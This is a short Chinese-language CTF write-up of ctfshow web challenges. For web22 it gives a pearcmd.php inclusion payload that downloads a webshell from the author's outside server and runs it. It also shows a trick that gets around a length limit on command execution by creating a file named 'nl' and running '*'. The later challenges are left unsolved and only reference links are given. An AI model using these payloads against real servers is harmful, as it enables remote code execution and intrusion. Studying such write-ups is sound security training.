web22

看到Firebasky师傅的文章才明白如何去做,其实我第一时间并没有想到这种方法,借助pear,关于pear可以看这篇文章https://www.cmdschool.org/archives/2763 这里我简单介绍一下

pear是一个是可重用的PHP组件框架和系统分发
– 为PHP用户提供开源的结构化代码库
– 便于代码的分发和包的维护
– 标准化PHP的编写代码
– 提供PHP的扩展社区库(PECL)
– 通过网站、邮件列表和下载镜像支持PHP/PEAR社区
在pear中有一个pearcmd.php的类,这里传参c值为pearcmd拼接后面的.php后缀,然后进行下一步的操作。从指定服务器下载文件

payload为

?c=pearcmd&+download+http://plumstar.cn/shell.php
<?php
echo "<?php system('ls');?>"; //读取文件夹信息
?>

payload中的shell.php文件就是我在自己的vps中写的一个一句话木马,将其下载下来并且include进行包含执行,便可访问shell.php得到结果。

然后修改shell.php文件即可得到flag,注意flag在网页源代码中

获得百分之百的快乐

看源码对输入的长度进行了限制,可以自己试一下

?1=ls //执行成功
?1=whoami  //返回hack,执行失败

找一下绕过的方法,使用到了nl命令

?1=>nl //创建一个nl的空文件
?1=ls
?1=*  //* 以当前路径下第一个文件名作为命令执行

web23-24

这两道题确实是没做出来,找了各位师傅的脚本直接跑然后改了再跑也没有跑出来,很苦恼,但是也并没有啥子办法,脚本是根据这两位师傅尝试修改跑的,大家感兴趣可以自己试试

https://blog.csdn.net/qq_41274349/article/details/123707765

https://wp.ctf.show/d/131-23-24

参考

https://blog.csdn.net/wangyuxiang946/article/details/120243644

https://wp.ctf.show/d/109-ctfshow-web9-15

https://blog.csdn.net/qq_45829213/article/details/113878509

https://blog.csdn.net/qq_46041723/article/details/110948866